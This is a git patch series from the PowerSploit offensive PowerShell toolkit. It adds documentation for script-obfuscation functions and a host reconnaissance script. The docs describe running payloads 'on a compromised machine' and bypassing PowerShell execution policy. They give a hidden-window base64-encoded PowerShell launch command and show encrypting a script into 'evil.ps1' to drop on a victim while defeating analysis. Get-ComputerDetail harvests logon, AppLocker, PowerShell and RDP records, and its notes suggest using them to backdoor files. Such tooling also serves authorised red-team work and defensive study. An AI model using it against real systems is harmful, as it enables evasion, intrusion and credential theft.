scriptblock to a string, if desired. + +.LINK + +http://www.exploit-monday.com +http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding( DefaultParameterSetName = 'FilePath' )] + Param ( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'FilePath' )] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Position = 0, ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ScriptBlock' )] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock + ) + + Set-StrictMode -Version 2 + + if ($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptBlockString = [IO.File]::ReadAllText((Resolve-Path $Path)) + $ScriptBlock = [ScriptBlock]::Create($ScriptBlockString) + } + else + { + # Convert the scriptblock to a string so that it can be referenced with array notation + $ScriptBlockString = $ScriptBlock.ToString() + } + + # Tokenize the scriptblock and return all tokens except for comments + $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptBlock, [Ref] $Null) | Where-Object { $_.Type -ne 'Comment' } + + $StringBuilder = New-Object Text.StringBuilder + + # The majority of the remaining code comes from Lee Holmes' Show-ColorizedContent script. + $CurrentColumn = 1 + $NewlineCount = 0 + foreach($CurrentToken in $Tokens) + { + # Now output the token + if(($CurrentToken.Type -eq 'NewLine') -or ($CurrentToken.Type -eq 'LineContinuation')) + { + $CurrentColumn = 1 + # Only insert a single newline. Sequential newlines are ignored in order to save space. + if ($NewlineCount -eq 0) + { + $StringBuilder.AppendLine() | Out-Null + } + $NewlineCount++ + } + else + { + $NewlineCount = 0 + + # Do any indenting + if($CurrentColumn -lt $CurrentToken.StartColumn) + { + # Insert a single space in between tokens on the same line. Extraneous whiltespace is ignored. + if ($CurrentColumn -ne 1) + { + $StringBuilder.Append(' ') | Out-Null + } + } + + # See where the token ends + $CurrentTokenEnd = $CurrentToken.Start + $CurrentToken.Length - 1 + + # Handle the line numbering for multi-line strings + if(($CurrentToken.Type -eq 'String') -and ($CurrentToken.EndLine -gt $CurrentToken.StartLine)) + { + $LineCounter = $CurrentToken.StartLine + $StringLines = $(-join $ScriptBlockString[$CurrentToken.Start..$CurrentTokenEnd] -split '`r`n') + + foreach($StringLine in $StringLines) + { + $StringBuilder.Append($StringLine) | Out-Null + $LineCounter++ + } + } + # Write out a regular token + else + { + $StringBuilder.Append((-join $ScriptBlockString[$CurrentToken.Start..$CurrentTokenEnd])) | Out-Null + } + + # Update our position in the column + $CurrentColumn = $CurrentToken.EndColumn + } + } + + Write-Output ([ScriptBlock]::Create($StringBuilder.ToString())) +} diff --git a/ScriptModification/Remove-Comments.ps1 b/ScriptModification/Remove-Comments.ps1 deleted file mode 100644 index 45a9746..0000000 --- a/ScriptModification/Remove-Comments.ps1 +++ /dev/null @@ -1,156 +0,0 @@ -function Remove-Comments -{ -<# -.SYNOPSIS - -Strips comments and extra whitespace from a script. - -PowerSploit Function: Remove-Comments -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Remove-Comments strips out comments and unnecessary whitespace from a script. This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. - -A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script. You rock, Lee! - -.PARAMETER ScriptBlock - -Specifies a scriptblock containing your script. - -.PARAMETER Path - -Specifies the path to your script. - -.EXAMPLE - -C:\PS> $Stripped = Remove-Comments -Path .\ScriptWithComments.ps1 - -.EXAMPLE - -C:\PS> Remove-Comments -ScriptBlock { -### This is my awesome script. My documentation is beyond reproach! - Write-Host 'Hello, World!' ### Write 'Hello, World' to the host -### End script awesomeness -} - -Write-Host 'Hello, World!' - -.EXAMPLE - -C:\PS> Remove-Comments -Path Inject-Shellcode.ps1 | Out-EncodedCommand - -Description ------------ -Removes extraneous whitespace and comments from Inject-Shellcode (which is notoriously large) and pipes the output to Out-EncodedCommand. - -.INPUTS - -System.String, System.Management.Automation.ScriptBlock - -Accepts either a string containing the path to a script or a scriptblock. - -.OUTPUTS - -System.Management.Automation.ScriptBlock - -Remove-Comments returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired. - -.LINK - -http://www.exploit-monday.com -http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/ -#> - - [CmdletBinding( DefaultParameterSetName = 'FilePath' )] Param ( - [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'FilePath' )] - [ValidateNotNullOrEmpty()] - [String] - $Path, - - [Parameter(Position = 0, ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ScriptBlock' )] - [ValidateNotNullOrEmpty()] - [ScriptBlock] - $ScriptBlock - ) - - Set-StrictMode -Version 2 - - if ($PSBoundParameters['Path']) - { - Get-ChildItem $Path -ErrorAction Stop | Out-Null - $ScriptBlockString = [IO.File]::ReadAllText((Resolve-Path $Path)) - $ScriptBlock = [ScriptBlock]::Create($ScriptBlockString) - } - else - { - # Convert the scriptblock to a string so that it can be referenced with array notation - $ScriptBlockString = $ScriptBlock.ToString() - } - - # Tokenize the scriptblock and return all tokens except for comments - $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptBlock, [Ref] $Null) | Where-Object { $_.Type -ne 'Comment' } - - $StringBuilder = New-Object Text.StringBuilder - - # The majority of the remaining code comes from Lee Holmes' Show-ColorizedContent script. - $CurrentColumn = 1 - $NewlineCount = 0 - foreach($CurrentToken in $Tokens) - { - # Now output the token - if(($CurrentToken.Type -eq 'NewLine') -or ($CurrentToken.Type -eq 'LineContinuation')) - { - $CurrentColumn = 1 - # Only insert a single newline. Sequential newlines are ignored in order to save space. - if ($NewlineCount -eq 0) - { - $StringBuilder.AppendLine() | Out-Null - } - $NewlineCount++ - } - else - { - $NewlineCount = 0 - - # Do any indenting - if($CurrentColumn -lt $CurrentToken.StartColumn) - { - # Insert a single space in between tokens on the same line. Extraneous whiltespace is ignored. - if ($CurrentColumn -ne 1) - { - $StringBuilder.Append(' ') | Out-Null - } - } - - # See where the token ends - $CurrentTokenEnd = $CurrentToken.Start + $CurrentToken.Length - 1 - - # Handle the line numbering for multi-line strings - if(($CurrentToken.Type -eq 'String') -and ($CurrentToken.EndLine -gt $CurrentToken.StartLine)) - { - $LineCounter = $CurrentToken.StartLine - $StringLines = $(-join $ScriptBlockString[$CurrentToken.Start..$CurrentTokenEnd] -split '`r`n') - - foreach($StringLine in $StringLines) - { - $StringBuilder.Append($StringLine) | Out-Null - $LineCounter++ - } - } - # Write out a regular token - else - { - $StringBuilder.Append((-join $ScriptBlockString[$CurrentToken.Start..$CurrentTokenEnd])) | Out-Null - } - - # Update our position in the column - $CurrentColumn = $CurrentToken.EndColumn - } - } - - Write-Output ([ScriptBlock]::Create($StringBuilder.ToString())) -} diff --git a/ScriptModification/ScriptModification.psd1 b/ScriptModification/ScriptModification.psd1 index 923c874..07cd0bf 100644 --- a/ScriptModification/ScriptModification.psd1 +++ b/ScriptModification/ScriptModification.psd1 @@ -26,6 +26,6 @@ FunctionsToExport = '*' # List of all files packaged with this module FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-CompressedDll.ps1', 'Out-EncodedCommand.ps1', - 'Out-EncryptedScript.ps1', 'Remove-Comments.ps1', 'Usage.md' + 'Out-EncryptedScript.ps1', 'Remove-Comment.ps1', 'Usage.md' } diff --git a/docs/ScriptModification/Out-CompressedDll.md b/docs/ScriptModification/Out-CompressedDll.md new file mode 100755 index 0000000..df7cff5 --- /dev/null +++ b/docs/ScriptModification/Out-CompressedDll.md @@ -0,0 +1,60 @@ +# Out-CompressedDll + +## SYNOPSIS +Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + +PowerSploit Function: Out-CompressedDll +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Out-CompressedDll [-FilePath] +``` + +## DESCRIPTION +Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Out-CompressedDll -FilePath evil.dll +``` + +Description +----------- +Compresses, base64 encodes, and outputs the code required to load evil.dll in memory. + +## PARAMETERS + +### -FilePath +Specifies the path to a managed executable. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Only pure MSIL-based dlls can be loaded using this technique. +Native or IJW ('it just works' - mixed-mode) dlls will not load. + +## RELATED LINKS + +[http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html](http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html) + diff --git a/docs/ScriptModification/Out-EncodedCommand.md b/docs/ScriptModification/Out-EncodedCommand.md new file mode 100755 index 0000000..6666796 --- /dev/null +++ b/docs/ScriptModification/Out-EncodedCommand.md @@ -0,0 +1,186 @@ +# Out-EncodedCommand + +## SYNOPSIS +Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + +PowerSploit Function: Out-EncodedCommand +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### FilePath (Default) +``` +Out-EncodedCommand [[-Path] ] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64] [-WindowStyle ] + [-EncodedOutput] +``` + +### ScriptBlock +``` +Out-EncodedCommand [[-ScriptBlock] ] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64] + [-WindowStyle ] [-EncodedOutput] +``` + +## DESCRIPTION +Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. +The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. +This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} +``` + +powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream(\[IO.MemoryStream\]\[Convert\]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),\[IO.Compression.CompressionMode\]::Decompress)),\[Text.Encoding\]::ASCII)).ReadToEnd() + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput +``` + +powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= + +Description +----------- +Execute the above payload for the lulz. +\>D + +## PARAMETERS + +### -ScriptBlock +Specifies a scriptblock containing your payload. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the path to your payload. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NoExit +Outputs the option to not exit after running startup commands. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NoProfile +Outputs the option to not load the Windows PowerShell profile. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NonInteractive +Outputs the option to not present an interactive prompt to the user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Wow64 +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WindowStyle +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EncodedOutput +Base-64 encodes the entirety of the output. +This is usually unnecessary and effectively doubles the size of the output. +This option is only for those who are extra paranoid. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/ScriptModification/Out-EncryptedScript.md b/docs/ScriptModification/Out-EncryptedScript.md new file mode 100755 index 0000000..36db457 --- /dev/null +++ b/docs/ScriptModification/Out-EncryptedScript.md @@ -0,0 +1,148 @@ +# Out-EncryptedScript + +## SYNOPSIS +Encrypts text files/scripts. + +PowerSploit Function: Out-EncryptedScript +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Out-EncryptedScript [-ScriptPath] [-Password] [-Salt] + [[-InitializationVector] ] [[-FilePath] ] +``` + +## DESCRIPTION +Out-EncryptedScript will encrypt a script (or any text file for that +matter) and output the results to a minimally obfuscated script - +evil.ps1 by default. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +Out-EncryptedScript .\Naughty-Script.ps1 $Password salty + +Description +----------- +Encrypt the contents of this file with a password and salt. +This will +make analysis of the script impossible without the correct password +and salt combination. +This command will generate evil.ps1 that can +dropped onto the victim machine. +It only consists of a decryption +function 'de' and the base64-encoded ciphertext. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +[String] $cmd = Get-Content .\evil.ps1 +``` + +Invoke-Expression $cmd +$decrypted = de password salt +Invoke-Expression $decrypted + +Description +----------- +This series of instructions assumes you've already encrypted a script +and named it evil.ps1. +The contents are then decrypted and the +unencrypted script is called via Invoke-Expression + +## PARAMETERS + +### -ScriptPath +Path to this script + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +Password to encrypt/decrypt the script + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Salt +Salt value for encryption/decryption. +This can be any string value. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -InitializationVector +Specifies a 16-character the initialization vector to be used. +This +is randomly generated by default. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join '') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FilePath +{{Fill FilePath Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: .\evil.ps1 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This command can be used to encrypt any text-based file/script + +## RELATED LINKS + diff --git a/docs/ScriptModification/Remove-Comment.md b/docs/ScriptModification/Remove-Comment.md new file mode 100755 index 0000000..97335ae --- /dev/null +++ b/docs/ScriptModification/Remove-Comment.md @@ -0,0 +1,110 @@ +# Remove-Comment + +## SYNOPSIS +Strips comments and extra whitespace from a script. + +PowerSploit Function: Remove-Comment +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### FilePath (Default) +``` +Remove-Comment [-Path] +``` + +### ScriptBlock +``` +Remove-Comment [-ScriptBlock] +``` + +## DESCRIPTION +Remove-Comment strips out comments and unnecessary whitespace from a script. +This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. + +A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script. +You rock, Lee! + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1 +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Remove-Comment -ScriptBlock { +``` + +### This is my awesome script. +My documentation is beyond reproach! + Write-Host 'Hello, World!' ### Write 'Hello, World' to the host +### End script awesomeness +} + +Write-Host 'Hello, World!' + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand +``` + +Description +----------- +Removes extraneous whitespace and comments from Inject-Shellcode (which is notoriously large) and pipes the output to Out-EncodedCommand. + +## PARAMETERS + +### -Path +Specifies the path to your script. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ScriptBlock +Specifies a scriptblock containing your script. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +### System.String, System.Management.Automation.ScriptBlock + +Accepts either a string containing the path to a script or a scriptblock. + +## OUTPUTS + +### System.Management.Automation.ScriptBlock + +Remove-Comment returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired. + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com +http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/]() + diff --git a/docs/index.md b/docs/index.md index ac37071..9c001da 100644 --- a/docs/index.md +++ b/docs/index.md @@ -15,7 +15,7 @@ Modify and/or prepare scripts for execution on a compromised machine. Out-EncodedCommand - Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. Out-CompressedDll - Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. Out-EncryptedScript - Encrypts text files/scripts. - Remove-Comments - Strips comments and extra whitespace from a script. + Remove-Comment - Strips comments and extra whitespace from a script. ### Persistence diff --git a/mkdocs.yml b/mkdocs.yml index a0838fd..a24f7e4 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -139,3 +139,9 @@ pages: - Add-Persistence: 'Persistence/Add-Persistence.md' - Install-SSP: 'Persistence/Install-SSP.md' - Get-SecurityPackage: 'Persistence/Get-SecurityPackage.md' +- ScriptModification: + - Functions: + - Out-CompressedDll: 'ScriptModification/Out-CompressedDll.md' + - Out-EncodedCommand: 'ScriptModification/Out-EncodedCommand.md' + - Out-EncryptedScript: 'ScriptModification/Out-EncryptedScript.md' + - Remove-Comment: 'ScriptModification/Remove-Comment.md' -- cgit v1.2.3 From ad32d6c75b4e70a6b2e1b56a683a6ba71f1c0683 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 19:23:28 -0500 Subject: For ./Recon/ : -(More) PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- Recon/Get-ComputerDetail.ps1 | 574 ++++++++++++++++++++++++++++++++++ Recon/Get-ComputerDetails.ps1 | 574 ---------------------------------- Recon/Get-HttpStatus.ps1 | 62 ++-- Recon/Invoke-Portscan.ps1 | 34 +- Recon/Invoke-ReverseDnsLookup.ps1 | 84 ++--- Recon/PowerView.ps1 | 2 +- Recon/Recon.psd1 | 2 +- docs/Recon/Export-PowerViewCSV.md | 2 +- docs/Recon/Get-ComputerDetail.md | 68 ++++ docs/Recon/Get-ComputerDetails.md | 68 ---- docs/Recon/Get-HttpStatus.md | 8 +- docs/Recon/Invoke-Portscan.md | 8 +- docs/Recon/Invoke-ReverseDnsLookup.md | 14 +- docs/Recon/Set-DomainObject.md | 26 +- docs/Recon/index.md | 0 mkdocs.yml | 2 +- 16 files changed, 758 insertions(+), 770 deletions(-) create mode 100644 Recon/Get-ComputerDetail.ps1 delete mode 100644 Recon/Get-ComputerDetails.ps1 create mode 100755 docs/Recon/Get-ComputerDetail.md delete mode 100755 docs/Recon/Get-ComputerDetails.md mode change 100644 => 100755 docs/Recon/index.md (limited to 'docs') diff --git a/Recon/Get-ComputerDetail.ps1 b/Recon/Get-ComputerDetail.ps1 new file mode 100644 index 0000000..ef3720c --- /dev/null +++ b/Recon/Get-ComputerDetail.ps1 @@ -0,0 +1,574 @@ +function Get-ComputerDetail +{ +<# +.SYNOPSIS + +This script is used to get useful information from a computer. + +Function: Get-ComputerDetail +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +This script is used to get useful information from a computer. Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +.PARAMETER ToString + +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +.EXAMPLE + +Get-ComputerDetail +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetail -ToString +Gets information about the computer and outputs it as raw text. + +.NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell + +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + Param( + [Parameter(Position=0)] + [Switch] + $ToString + ) + + Set-StrictMode -Version 2 + + $SecurityLog = Get-EventLog -LogName Security + $Filtered4624 = Find-4624Logon $SecurityLog + $Filtered4648 = Find-4648Logon $SecurityLog + $AppLockerLogs = Find-AppLockerLog + $PSLogs = Find-PSScriptsInPSAppLog + $RdpClientData = Find-RDPClientConnection + + if ($ToString) + { + Write-Output "Event ID 4624 (Logon):" + Write-Output $Filtered4624.Values | Format-List + Write-Output "Event ID 4648 (Explicit Credential Logon):" + Write-Output $Filtered4648.Values | Format-List + Write-Output "AppLocker Process Starts:" + Write-Output $AppLockerLogs.Values | Format-List + Write-Output "PowerShell Script Executions:" + Write-Output $PSLogs.Values | Format-List + Write-Output "RDP Client Data:" + Write-Output $RdpClientData.Values | Format-List + } + else + { + $Properties = @{ + LogonEvent4624 = $Filtered4624.Values + LogonEvent4648 = $Filtered4648.Values + AppLockerProcessStart = $AppLockerLogs.Values + PowerShellScriptStart = $PSLogs.Values + RdpClientData = $RdpClientData.Values + } + + $ReturnObj = New-Object PSObject -Property $Properties + return $ReturnObj + } +} + + +function Find-4648Logon +{ +<# +.SYNOPSIS + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +Function: Find-4648Logon +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +.EXAMPLE + +Find-4648Logon +Gets the unique 4648 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + + Param( + $SecurityLog + ) + + $ExplicitLogons = $SecurityLog | Where-Object {$_.InstanceID -eq 4648} + $ReturnInfo = @{} + + foreach ($ExplicitLogon in $ExplicitLogons) + { + $Subject = $false + $AccountWhosCredsUsed = $false + $TargetServer = $false + $SourceAccountName = "" + $SourceAccountDomain = "" + $TargetAccountName = "" + $TargetAccountDomain = "" + $TargetServer = "" + foreach ($line in $ExplicitLogon.Message -split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $Subject = $true + } + elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$") + { + $Subject = $false + $AccountWhosCredsUsed = $true + } + elseif ($line -cmatch "^Target\sServer:") + { + $AccountWhosCredsUsed = $false + $TargetServer = $true + } + elseif ($Subject -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $SourceAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $SourceAccountDomain = $Matches[1] + } + } + elseif ($AccountWhosCredsUsed -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $TargetAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $TargetAccountDomain = $Matches[1] + } + } + elseif ($TargetServer -eq $true) + { + if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)") + { + $TargetServer = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$")) + { + $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4648 + LogSource = "Security" + SourceAccountName = $SourceAccountName + SourceDomainName = $SourceAccountDomain + TargetAccountName = $TargetAccountName + TargetDomainName = $TargetAccountDomain + TargetServer = $TargetServer + Count = 1 + Times = @($ExplicitLogon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated + } + } + } + + return $ReturnInfo +} + +function Find-4624Logon +{ +<# +.SYNOPSIS + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +Function: Find-4624Logon +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +.EXAMPLE + +Find-4624Logon +Find unique 4624 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + Param ( + $SecurityLog + ) + + $Logons = $SecurityLog | Where-Object {$_.InstanceID -eq 4624} + $ReturnInfo = @{} + + foreach ($Logon in $Logons) + { + $SubjectSection = $false + $NewLogonSection = $false + $NetworkInformationSection = $false + $AccountName = "" + $AccountDomain = "" + $LogonType = "" + $NewLogonAccountName = "" + $NewLogonAccountDomain = "" + $WorkstationName = "" + $SourceNetworkAddress = "" + $SourcePort = "" + + foreach ($line in $Logon.Message -Split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $SubjectSection = $true + } + elseif ($line -cmatch "^Logon\sType:\s+(\S.*)") + { + $LogonType = $Matches[1] + } + elseif ($line -cmatch "^New\sLogon:$") + { + $SubjectSection = $false + $NewLogonSection = $true + } + elseif ($line -cmatch "^Network\sInformation:$") + { + $NewLogonSection = $false + $NetworkInformationSection = $true + } + elseif ($SubjectSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $AccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $AccountDomain = $Matches[1] + } + } + elseif ($NewLogonSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $NewLogonAccountName = $Matches[1] + } + elseif ($line -cmatch 